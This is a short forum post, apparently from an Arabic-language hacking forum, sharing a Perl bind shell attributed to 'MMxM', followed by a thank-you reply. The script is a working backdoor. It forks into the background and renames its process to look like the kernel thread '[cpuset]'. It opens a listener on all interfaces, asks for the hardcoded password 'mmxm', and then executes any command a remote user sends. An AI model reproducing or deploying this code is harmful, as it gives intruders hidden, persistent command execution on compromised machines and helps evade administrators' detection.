Bind Shell in Perl

[sniffer]

Password to access the shell is "mmxm"

كود PHP:

#!/usr/bin/perl

use IO::Socket;
use strict;
use warnings;

my $pid=fork(); 
exit if $pid;
$0='***91;cpuset***93;';

if($#ARGV != 0){
print '

***91;+***93; Bind Shell By MMxM***91;****93; How to use: perl bind.pl 
';
exit;
}

my $bind = IO::Socket::INET->new(
LocalAddr => '0.0.0.0',
LocalPort => $ARGV***91;0***93;,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10 
) || die "***91;-***93; Erro ao criar socket : $!\n";

print "Listen in port $ARGV***91;0***93;\n";

while(my $cmd = $bind->accept()){
print $cmd '***91;****93; Enter Password: ';
chomp(my $pass = <$cmd>);
if ($pass eq 'mmxm'){
print $cmd "\n***91;+***93; Welcome\n\n";
print $cmd '$ ';
while (my $cd = <$cmd>){
my @code = `$cd 2> /dev/stdout`;
my $output = join('',@code);
print $cmd $output;
print $cmd '$ ';
}
}
}
close($bind); 


[icyb3r]

مشكووووووور اخي على ابداع